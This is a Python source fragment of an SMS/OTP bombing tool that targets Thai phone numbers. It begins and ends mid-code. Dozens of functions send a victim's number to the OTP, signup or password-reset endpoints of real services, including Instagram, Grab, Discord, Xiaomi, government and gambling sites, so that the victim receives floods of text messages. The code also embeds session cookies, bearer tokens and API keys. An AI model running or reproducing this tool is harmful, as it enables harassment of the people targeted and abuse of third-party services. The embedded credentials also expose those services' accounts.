(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def instagram(phone): token,cid=ig_token() d=post("https://www.instagram.com/accounts/send_signup_sms_code_ajax/",data=f"client_id={cid}&phone_number=66{phone}&phone_id=&big_blue_token=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def Rapid(phone): d=post('https://rapidapi.com/blaazetech/api/spam-caller-check/',json={"phonenumber":phone,"language":"th"},headers=header).status_code def VBC(phone): post('https://twitter-user-profile-data.p.rapidapi.com/v1/api/twitter',headers = {'content-type': "application/json",'x-rapidapi-host': "twitter-user-profile-data.p.rapidapi.com",'x-rapidapi-key': "775b9796aemshb6a4eefc8d0e33cp1d04d7jsnefd368e22b03"}) def api1(phone): post("https://m.thisshop.com/cos/send/code/notice", json={"sessionContext":{"channel":"h5","entityCode":0,"userReferenceNumber":"12w12y11r52gz259ue14rr7g7370239m","localDateTimeText":"20220115182850","riskMessage":"{}","serviceCode":"FLEX0001","superUserId":"sysadmin","tokenKey":"149d5c7bae10304c8aba0da2bbc59cb7","authorizationReason":"","transactionBranch":"TFT_ORG_0000","userId":"","locale":"th-TH"},"noticeType":1,"businessType":"RT0001","phoneNumber":f"66-{phone}"},headers={"content-type": "application/json; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api2(phone): headers = { "content-type": "application/x-www-form-urlencoded", "user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36", "referer": "https://www.wongnai.com/guest2?_f=signUp&guest_signup_type=phone", "cookie": "_gcl_au=1.1.1123274548.1637746846" } post("https://www.wongnai.com/_api/guest.json?_v=6.054&locale=th&_a=phoneLogIn",headers=headers,data=f"phoneno={phone}&retrycount=0") def api3(phone): post("https://gettgo.com/sessions/otp_for_sign_up", data={"mobile_number":phone}) def api4(phone): post("https://api.true-shopping.com/customer/api/request-activate/mobile_no", data={"username": phone}) def api5(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api6(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api7(phone): post('https://www.sso.go.th/wpr/MEM/terminal/ajax_send_otp',headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","X-Requested-With": "XMLHttpRequest","Cookie": "sso_local_storeci_sessions=KHj9a18RowgHYWbh71T2%2FDFAcuC2%2FQaJkguD3MQ1eh%2FlwrUXvpAjJgrm6QKAja4oe7rglht%2BzO6oqblJ4EMJF4pqnY%2BGtR%2F0RzIFGN0Suh1DJVRCMPpP8QtZsF5yDyw6ibCMf2HXs95LvAMi7KUkIeaWkSahmh5f%2F3%2FqcOQ2OW5yakrMGA1mJ5upBZiUdEYNmxUAljcqrg7P3L%2BGAXxxC2u1bO09Oz4qf4ZV9ShO0gz5p5CbkE7VxIq1KUrEavn9Y%2BarQmsh1qIIc51uvCev1U1uyXfC%2F9U7uRl7x%2FVYZYT2pkLd3Q7qnZoSNBL8y9wge8Lt7grySdVLFhw9HB68dTSiOm1K04QhdrprI7EsTLWDHTgYmgyTQDuz63YjHsH5MUVanlfBISU1WXmRTXMKbUjlcl0LPPYUR9KWzrVL7sXcrCX%2FfUwLJIU%2F7MTtDYUx39y1CAREM%2F8dw7AEjcJAOA%3D%3D684b65b9b9dc33a3380c5b121b6c2b3ecb6f1bec; PHPSESSID=1s2rdo0664qpg4oteil3hhn3v2; TS01ac2b25=01584aa399fbfcc6474d383fdc1405e05eaa529fa33e596e5189664eb7dfefe57b927d8801ad40fba49f0adec4ce717dd5eabf08d7080e2b85f34368a92a47e71ef07861a287c40da15c0688649509d7f97eb2c293; _ga=GA1.3.1824294570.1636876684; _gid=GA1.3.1832635291.1636876684"},data=f"dCard=1358231116147&Mobile={phone}&password=098098Az&repassword=098098Az&perPrefix=Mr.&cn=Dhdhhs&sn=Vssbsh&perBirthday=5&perBirthmonth=5&perBirthyear=2545&Email=nickytom5879%40gmail.com&otp_type=OTP&otpvalue=&messageId=REGISTER") def api8(phone): post("https://api.mcshop.com/cognito/me/forget-password",headers={"x-store-token": "mcshop","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, */*","x-auth-token": "O2d1ZXN0OzkyMDIzOTU7YThmNWMyZDE4YThlOTMzOGMyOGMwYWE5ODQwNTBjY2I7Ozs7","x-api-key": "ZU2QOTDkCV5JYVkWXdYFL8niGXB8l1mq2H2NQof3"},json={"username": phone}) def api9(phone): get(f"https://asv-mobileapp-prod.azurewebsites.net/api/Signin/SendOTP?phoneNo={phone}&type=Register") def api10(phone): post("https://m.lavagame168.com/api/register-otp",headers={"x-exp-signature": "5ffc0caa4d603200124e4eb1","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","referer": "https://m.lavagame168.com/dashboard/login"},json={"brands_id":"5ffc0caa4d603200124e4eb1","agent_register":"5ffc0d5cdcd4f30012aec3d9","tel": phone}) def api11(phone): get("https://m.redbus.id/api/getOtp?number="+phone[1:]+"&cc=66&whatsAppOpted=true",headers={"traceparent": "00-7d1f9d70ec75d3fb488d8eb2168f2731-6b243a298da767e5-01","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36"}).text def api12(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62"},json={"phone":"66"+phone}) def api13(phone): post("https://samartbet.com/api/request/otp", data={"phoneNumber":phone,"token":"HFbWhpfhFIGSMVWlhcQ0JNQgAtJ3g3QT43FRpzKhsvGhoHEzo6C1sjaRh1dSxgfEt_URwOHgwabwwWKXgodXd9IBBtZShlPx9rQUNiek5tYDtfB3swTC4KUlVRX0cFWVkNElhjPXVzb3NWBSpvVzofb1ZFLi15c2YrTltsL0FpGSMVGQ9rCRsacxJcemxjajdoch8sfEhoWVlvbVEsQ0tWfhgfOGth"}) def api14(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api15(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api16(phone): post("https://ep789bet.net/auth/send_otp", data={"phone":phone}) def api17(phone): post("https://www.berlnw.com/reservelogin",data={"p_myreserve": phone}, headers={"Host": "www.berlnw.com", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "Save-Data": "on", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "https://www.berlnw.com/myaccount", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "th-TH,th;q=0.9,en;q=0.8", "Cookie": "berlnw=s%3AaKEA2ULex-QQ7U6jr0WCQGs-Mz3eJFJn.RsAXcleV2EVFN4j%2BPqDivbqSYAta0UYtyoM65BrxuV0; _referrer_og=https%3A%2F%2Fwww.google.com%2F; _first_pageview=1; _jsuid=4035440860; _ga=GA1.2.766623232.1635154743; _gid=GA1.2.1857466267.1635154743; _gac_UA-90695720-1=1.1635154743.CjwKCAjwq9mLBhB2EiwAuYdMtU_gp7mSvFcH4kByOTGf-LsmLTGujv9qCwMi1xwWSuEiQSOlODmN-RoCMu4QAvD_BwE; _fbp=fb.1.1635154742776.771793600; _gat_gtag_UA_90695720_1=1"}) def api18(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", json={"on":{"value":phone,"country":"66"},"type":"mobile"}) def api19(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-{phone}") def api20(phone): post("https://shop.foodland.co.th/login/generation", data={"phone": phone}) def api21(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api22(phone): post("https://unacademy.com/api/v3/user/user_check/",json={"phone":phone,"country_code":"TH"},headers={}).json() def api23(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": phone}) def api24(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register",json={"username": phone,"password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}) def api25(phone): post("https://store.boots.co.th/api/v1/guest/register/otp",json={"phone_number": phone}) def api26(phone): post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username={phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","x-csrftoken": "EKIzZefCrMss0ypkr2VjEWZ1I7uvJ9BD"}).json def api27(phone): post("https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/"+phone) def api28(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def api29(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": phone},headers={}) def api30(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", data={"phone": phone}) def api31(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", data={"phone": phone,"password":"123456789Az"}) def api32(phone): post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.SignUp","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/signup/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}","Password":"098098Az","UserAttributes":[{"Name":"name","Value":"Dbdh"},{"Name":"birthdate","Value":"2005-01-01"},{"Name":"gender","Value":"Male"},{"Name":"phone_number","Value":f"+66{phone[1:]}"},{"Name":"custom:phone_country_code","Value":"+66"},{"Name":"custom:is_agreement","Value":"true"},{"Name":"custom:allow_consent","Value":"true"},{"Name":"custom:allow_person_info","Value":"true"}],"ValidationData":[]}) post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"cache-control": "max-age=0","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.ResendConfirmationCode","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/resetpass/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}"}) def api33(phone): get(f"https://laopun.com/send-sms?id={phone}&otp=5153",headers=header) def api34(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api35(phone): post("https://www.carsome.co.th/website/login/sendSMS", headers=header, json={"username":phone,"optType":0}).json() def api36(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.684",headers=header,json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone":phone,"type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName":"ฟงฟง ฟงฟว"}}) def api37(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", json={"reqId":"39816-1633012470","params":{"phone": phone,"language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def api38(phone): post("https://api.1112delivery.com/api/v1/otp/create", data={'phonenumber': phone,'language': "th"}) def api39(phone): post("https://gccircularlivingshop.com/sms/sendOtp", json={"grant_type":"otp","username": phone,"password":"","client":"ecommerce"},headers={}) def api40(phone): headers={ "organizationcode": "lifestyle", "content-type": "application/json" } json = {"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone,"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"} post("https://graph.firster.com/graphql",headers=headers,json=json) def api41(phone): post("https://m.riches666.com/api/register-otp", data={"brands_id":"60a6563a232a600012521982","agent_register":"60a76a7f233d2900110070e0","tel":phone}) def api42(phone): post("https://www.pruksa.com/member/member_otp/re_create",headers=header,data=f"required=otp&mobile={phone}") def api43(phone): post("https://vaccine.trueid.net/vacc-verify/api/getotp",headers=header,json={"msisdn":phone,"function":"enroll"}) def api44(phone): post("https://ufa108.ufabetcash.com/api/",headers=header,data=f"cmd=request_form_register_detail_check&web_account_id=36&auto_bank_group_id=1&m_name=sl&m_surname=ak&m_line=snsb1j&m_bank=4&m_account_number=8572178402&m_from=41&m_phone={phone}") def api45(phone): post("https://www.mrcash.top/h5/LoginMessage_ultimate",data = {"phone": phone,"type":"2","ctype":"1"}) def api46(phone): post("https://www.qqmoney.ltd/jackey/sms/login",json = {"appId":"5fc9ff297eb51f1196350635","companyId":"5fc9ff12197278da22aff029","mobile": phone},headers={"Content-Type": "application/json;charset=UTF-8"}) def api47(phone): post("https://www.monomax.me/api/v2/signup/telno",json ={"password":"12345678+","telno": phone}) def api48(phone): post("https://m.pgwin168.com/api/register-otp",json ={"brands_id":"60e4016f35119800184f34a5","agent_register":"60e57c3b2ead950012fc5fba","tel": phone}) def api49(phone): post("https://www.som777.com/api/otp/register",json ={"applicant": phone,"serviceName":"SOM777"}) def api50(phone): post("https://www.konglor888.com/api/otp/register",json = {"applicant": phone,"serviceName":"KONGLOR888"}) def api51(phone): get("https://api.quickcash8.com/v1/login/captcha?timestamp=1636359633&sign=3a11b88fbf58615099d15639e714afcc&token=&version=2.3.2&appsFlyerId=1636346593405-2457389151564256014&platform=android&channel_str=&phone="+phone+"&img_code=", headers = {"Host": "api.quickcash8.com", "Connection": "Keep-Alive", "Accept": "gzip", "User-Agent": "okhttp/3.11.0"}) def api52(phone): get("https://users.cars24.co.th/oauth/consumer-app/otp/"+phone+"?lang=th", headers = {"accept": "application/json, text/plain, */*","x_vehicle_type":"CAR","cookie":"_ga=GA1.3.523508414.1640152799;_gid=GA1.3.999851247.1640152799;_fbp=fb.2.1640152801502.837786780;_gac_UA-65843992-28=1.1640152807.EAIaIQobChMIi9jVo9329AIVizArCh1bFAuMEAAYASAAEgJqA_D_BwE;_dc_gtm_UA-65843992-28=1;_hjSessionUser_2738441=eyJpZCI6IjYwMjMzZjYyLTFlMzYtNWZmMy04MjZkLTMzOTAxNTMwODQ4NyIsImNyZWF0ZWQiOjE2NDAxNTI4MDEzMDYsImV4aXN0aW5nIjp0cnVlfQ==;_hjSession_2738441=eyJpZCI6ImI4MDNlNTFkLTFiYTYtNGExZi05MGIzLTk5OWRmMjhhM2RiOCIsImNyZWF0ZWQiOjE2NDAxNjY4ODgwNDF9;_hjAbsoluteSessionInProgress=0;cto_bundle=uVFzcF8lMkYxM0hsRGxQc1M4YThaRmhHJTJGRTBtSUdwNzVuRkVldzI5QlpIYktWbnZFcUlzdDZ1ZnhMT3JqVVhFQyUyQmtGUE9MTFk5akpyVnl4ekZnZlJ4UVN3WnRHdUNyJTJGWW03aVRSeWtLc2wxTjA3QmR0THNzcjNsJTJCcEJHSXlOUzNxTVc2ZmJPaGclMkZhRUhkV3I2cTI1dXUlMkZhYnl1dyUzRCUzRA"}) def api53(phone): post("https://www.kaitorasap.co.th/api/index.php/send-otp/", data = {"phone_number": phone,"lag": " "}) def api54(phone): requests=Session() token=search('<meta name="_csrf" content="(.*)" />',get("https://www.shopat24.com/register/").text).group(1) post("https://www.shopat24.com/register/ajax/requestotp/",data=f"phoneNumber={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","x-csrf-token": token}) def api55(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api56(phone): post("https://discord.com/api/v9/users/@me/phone",headers=header,json={"phone":"+66"+phone}) def api57(phone): post("https://api-customer.lotuss.com/clubcard-bff/v1/customers/otp", data={"mobile_phone_no":phone}) def api58(phone): post("https://www.tgfone.com/signin/otp_chk_fast",headers=header,json=f"mobile={phone}&type_otp=7") def api59(phone): post("https://ufa3bb.com/account/register/sendotp",headers=header,data=f"phone={phone}") def api60(phone): post("https://login.s-momclub.com/accounts.otp.sendCode", data=f"phoneNumber=%2B66{phone[1:]}&lang=th&APIKey=3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC&source=showScreenSet&sdk=js_latest&authMode=cookie&pageURL=https%3A%2F%2Fwww.s-momclub.com%2Fprofile%2Flogin&sdkBuild=12563&format=json",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "gmid=gmid.ver4.AcbHriHAww._ill8qHpGNXtv9aY3XQyCvPohNww4j7EtjeiM3jBccqD7Vx0OmGeJuXcpQ2orXGs.nH0yRZjbm75C-5MVgB2Ii0PWvx6TICBn1LYI_XtlgoHg9mnouZgNs6CHULJEitOfkBhHvf8zUvrvMauanc52Sw.sc3;ucid=Tn63eeu2u8ygoINkqYBk5w;hasGmid=ver4;_ga=GA1.2.1714152564.1642328595;_fbp=fb.1.1642328611770.178002163;_gcl_au=1.1.64457176.1642329285;gig_bootstrap_3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC=login_ver4;_gid=GA1.2.1524201365.1642442639;_gat=1;_gat_rolloutTracker=1;_gat_globalTracker=1;_gat_UA-62402337-1=1"}) def api61(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": f"+66{phone[1:]}"}) def api62(phone): get(f"https://hdmall.co.th/phone_verifications?express_sign_in=1&mobile={phone}") def api63(phone): post("https://asha168vip.com/_ajax_/request-otp", data={"request_otp[phoneNumber]":phone,"request_otp[termAndCondition]": "1","request_otp[_token]": "1642443743"}) def api64(phone): post("https://account.xiaomi.com/pass/sendPhoneRegTicket", data=f"region=US&phone=%2B66{phone[1:]}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "captchaToken=mXYXs+xvEHAZdhKnXK1XlopRcisSn05D6xhZU+uL3ghvh1Yf/4rYTExH+2xl+yZv;deviceId=wb_aca09552-fd37-4204-9d7a-20045de5c5bf;uLocale=en"}) def api65(phone): post("https://gamingnation.dtac.co.th/api/otp/generate", data={"template":"register","phone_no":phone},headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api66(phone): post("https://www.aurora.co.th/signin/otp_chk", data=f"mobile={phone}&type_otp=3",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api67(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=66{phone[1:]}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api68(phone): post("http://716081.com/wap/user/sendPhoneMsg", json={"uri":"/user/sendPhoneMsg","token":"","paramData":{"phoneVerifyType":0,"phoneNumber":f"66{phone[1:]}","siteCode":"intqa"}}).text def api69(phone): post("https://login.928royal.com/api/APISendOTP.php", data=f"mobileNumber=0{phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api70(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) def api71(phone): post("https://www.bigthailand.com/authentication-service/user/OTP", json={"locale":"th","phone": f"+66{phone[1:]}","email":"dkdk@gmail.com","userParams":{"buyerName":"ekek ks","activateLink":"www.google.com"}},headers={"content-type": "application/json","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Bearer eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg","cookie": "auth.strategy=local;auth._token.local=Bearer%20eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg;_utm_objs=eyJzb3VyY2UiOiJnb29nbGUiLCJtZWRpdW0iOiJjcGMiLCJjYW1wYWlnbiI6ImFkd29yZHMiLCJj%0D%0Ab250ZW50IjoiYWR3b3JkcyIsInRlcm0iOiJhZHdvcmRzIiwidHlwZSI6InJlZmVycmVyIiwidGlt%0D%0AZSI6MTY0MjMyOTM5OTU4NSwiY2hlY2tzdW0iOiJaMjl2WjJ4bExXTndZeTFoWkhkdmNtUnpMVEUy%0D%0ATkRJek1qa3pPVGsxT0RVPSJ9;_pk_ref.564990563.2c0e=%5B%22%22%2C%22%22%2C1642329400%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D;_pk_ses.564990563.2c0e=*;_gcl_au=1.1.833577636.1642329400;_asm_visitor_type=n;_ac_au_gt=1642329406505;cdp_session=1;_asm_uid=637506384;_ga=GA1.2.1026893832.1642329403;_gid=GA1.2.1437369318.1642329403;OptanonConsent=isIABGlobal=false&datestamp=Sun+Jan+16+2022+17%3A36%3A45+GMT%2B0700+(%E0%B9%80%E0%B8%A7%E0%B8%A5%E0%B8%B2%E0%B8%AD%E0%B8%B4%E0%B8%99%E0%B9%82%E0%B8%94%E0%B8%88%E0%B8%B5%E0%B8%99)&version=6.9.0&hosts=&consentId=e0fe7ec6-3c1e-4aa7-9e72-ecd2ed724416&interactionCount=0&landingPath=https%3A%2F%2Fwww.bigthailand.com%2Fcategory%2F850%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2581%25E0%25B8%25A5%25E0%25B8%25B0%25E0%25B8%2582%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2580%25E0%25B8%25AB%25E0%25B8%25A5%25E0%25B8%25A7%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%3Fgclid%3DCj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB&groups=C0001%3A1%2CC0003%3A1%2CC0002%3A1%2CC0007%3A1;_fbp=fb.1.1642329406623.363807498;_hjSessionUser_2738378=eyJpZCI6ImVkNmZhOGY3LTQwNDctNTNjMi04YTVjLTQ0OGE5MDA4YjhiZCIsImNyZWF0ZWQiOjE2NDIzMjk0MDQ4MDMsImV4aXN0aW5nIjpmYWxzZX0=;_hjFirstSeen=1;_hjIncludedInSessionSample=0;_hjSession_2738378=eyJpZCI6ImNhN2UwZDFhLTZkNmQtNGM0Mi04YmI1LTg4NWJmNzZjMGExZCIsImNyZWF0ZWQiOjE2NDIzMjk0MTEwNzcsImluU2FtcGxlIjpmYWxzZX0=;_hjIncludedInPageviewSample=1;_hjAbsoluteSessionInProgress=0;_gac_UA-165856282-1=1.1642329477.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_gcl_aw=GCL.1642329478.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_pk_id.564990563.2c0e=0.1642329400.1.1642329489.1642329400.;_ac_client_id=637515726.1642329496;_ac_an_session=zmzlzhzlzizqzmzjzkzjzdzlzgzkzmzizmzkzhzlzdzizlznzhzgzhzqznzqzlzdzizdzizlznzhzgzhzqznzqzlzdzizlznzhzgzhzqznzqzlzdzizdzgzjzizdzjzd2h25zdzgzdzezizd;au_id=637515726;_ga_80VN88PBVD=GS1.1.1642329399.1.1.1642329493.44"}) def api72(phone): post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum":phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api73(phone): post("https://bacara888.com/api/otp/register",data={"applicant":phone,"serviceName":"gclub"}) def api74(phone): post("https://www.tslpv.net/api/v1/sendRegisterSms", data={"national_number":phone,"country_code":"TH","g_token":"null"}) def api75(phone): post("https://queenclub88.com/api/register/phone", data={"phone":phone}) def api76(phone): post("https://api.cdfoi9.com/api/v1/index.php", data=f"module=%2Fusers%2FgetVerificationCode&mobile={phone}&merchantId=111&domainId=0&accessId=&accessToken=&walletIsAdmin=",headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","content-type": "application/x-www-form-urlencoded"}) def api77(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=0{phone}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api79(phone): send = Session() send.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : 